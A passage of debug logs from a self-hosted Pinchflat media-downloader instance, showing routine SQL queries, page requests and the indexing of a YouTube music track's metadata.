(sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:19:36.694 [debug] QUERY OK source="sources" db=2.3ms queue=0.1ms idle=104.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:19:36.694 [debug] Replied in 5ms 22:19:37.533 [debug] Current batch of media processed. Will check again in 1000ms 22:19:38.430 [info] GET /sources/5 22:19:38.430 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 22:19:38.431 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=311.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.432 [debug] QUERY OK source="media_profiles" db=0.3ms idle=312.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:38.433 [debug] QUERY OK source="tasks" db=0.5ms idle=313.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 22:19:38.433 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=314.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [169] 22:19:38.434 [debug] QUERY OK source="settings" db=0.2ms idle=45.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:38.434 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:38.435 [debug] QUERY OK source="settings" db=0.0ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:38.436 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.436 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:38.436 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:38.437 [debug] QUERY OK source="sources" db=0.1ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.437 [debug] QUERY OK source="media_items" db=0.1ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:38.438 [debug] QUERY OK source="media_items" db=0.2ms idle=1.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:38.438 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.439 [debug] QUERY OK source="media_items" db=0.1ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 22:19:38.439 [debug] QUERY OK source="media_items" db=0.3ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:38.440 [info] Sent 200 in 9ms 22:19:38.535 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "\"Because of you, I know I can fly.\"\n\nHey there hey there! Guess who's finally back with some DnB-adjacent stuff? I know it's been a while since I uploaded anything like this, but I hope you all enjoy it!\n\nYou can get this song on Bandcamp: https://ivelbartore.bandcamp.com/track/cascading-heart\n\nLink to the artist's socials:\nhttps://www.artstation.com/emersontung (first image, flying mech/thumbnail)\n\nThe eye visuals (from the third minute onwards) are edited from an illustration supposedly credited to \"fuyuu yume\" but I couldn’t verify the artist’s identity or their socials. \n\nAlso, on note, the intro is a screen recording from the COMP/CON website (SSC Constellar Congress community theme).", "duration" => 311, "filename" => "/downloads/Breakcore/Breakcore/2025-07-21CASCADING HEART (Lancer TTRPG | DnB⧸Jungle⧸Breakcore) - No AI[vaEZXYCFZlU].m4a", "id" => "vaEZXYCFZlU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=vaEZXYCFZlU", "playlist_index" => 1, "timestamp" => 1753079766, "title" => "CASCADING HEART (Lancer TTRPG | DnB/Jungle/Breakcore) - No AI", "upload_date" => "20250721"} 22:19:38.536 [debug] QUERY OK source="sources" db=0.4ms idle=97.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:38.537 [debug] QUERY OK source="sources" db=0.4ms idle=98.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:38.537 [debug] QUERY OK source="media_items" db=0.3ms idle=98.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-21 06:36:06Z], 3] 22:19:38.564 [info] CONNECTED TO Phoenix.LiveView.Socket in 41µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "OypxUR1-JnZdMlg0KCNkBCYLbREwIhQERGBft6O76TldJnURvaYbcVCG", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:38.584 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 5} 22:19:38.765 [debug] QUERY OK source="media_items" db=226.8ms idle=99.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["\"Because of you, I know I can fly.\"\n\nHey there hey there! Guess who's finally back with some DnB-adjacent stuff? I know it's been a while since I uploaded anything like this, but I hope you all enjoy it!\n\nYou can get this song on Bandcamp: https://ivelbartore.bandcamp.com/track/cascading-heart\n\nLink to the artist's socials:\nhttps://www.artstation.com/emersontung (first image, flying mech/thumbnail)\n\nThe eye visuals (from the third minute onwards) are edited from an illustration supposedly credited to \"fuyuu yume\" but I couldn’t verify the artist’s identity or their socials. \n\nAlso, on note, the intro is a screen recording from the COMP/CON website (SSC Constellar Congress community theme).", "CASCADING HEART (Lancer TTRPG | DnB/Jungle/Breakcore) - No AI", "e30ec8ff-c7a4-4a9e-9fdd-974947fe249a", false, "vaEZXYCFZlU", 311, false, "https://www.youtube.com/watch?v=vaEZXYCFZlU", 1, "/downloads/Breakcore/Breakcore/2025-07-21CASCADING HEART (Lancer TTRPG | DnB⧸Jungle⧸Breakcore) - No AI[vaEZXYCFZlU].m4a", false, false, 3, [], 1, ~U[2025-07-21 06:36:06Z], ~U[2026-07-24 02:19:38Z], ~U[2026-07-24 02:19:38Z], "\"Because of you, I know I can fly.\"\n\nHey there hey there! Guess who's finally back with some DnB-adjacent stuff? I know it's been a while since I uploaded anything like this, but I hope you all enjoy it!\n\nYou can get this song on Bandcamp: https://ivelbartore.bandcamp.com/track/cascading-heart\n\nLink to the artist's socials:\nhttps://www.artstation.com/emersontung (first image, flying mech/thumbnail)\n\nThe eye visuals (from the third minute onwards) are edited from an illustration supposedly credited to \"fuyuu yume\" but I couldn’t verify the artist’s identity or their socials. \n\nAlso, on note, the intro is a screen recording from the COMP/CON website (SSC Constellar Congress community theme).", "CASCADING HEART (Lancer TTRPG | DnB/Jungle/Breakcore) - No AI", "vaEZXYCFZlU", 311, false, "https://www.youtube.com/watch?v=vaEZXYCFZlU", "/downloads/Breakcore/Breakcore/2025-07-21CASCADING HEART (Lancer TTRPG | DnB⧸Jungle⧸Breakcore) - No AI[vaEZXYCFZlU].m4a", false, 3, ~U[2025-07-21 06:36:06Z]] 22:19:38.766 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=229.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:38.767 [debug] QUERY OK source="media_profiles" db=0.5ms idle=229.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:38.768 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=230.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [84] 22:19:38.768 [debug] Current batch of media processed. Will check again in 1000ms 22:19:38.814 [debug] QUERY OK source="sources" db=229.5ms idle=144.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.814 [debug] QUERY OK source="media_items" db=0.4ms idle=49.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:19:38.815 [debug] QUERY OK source="media_items" db=0.6ms idle=48.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 22:19:38.815 [debug] Replied in 231ms 22:19:38.818 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 5} 22:19:38.818 [debug] QUERY OK source="sources" db=0.2ms idle=51.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:19:38.819 [debug] QUERY OK source="media_items" db=0.1ms idle=50.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:19:38.819 [debug] QUERY OK source="media_items" db=0.3ms idle=5.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" 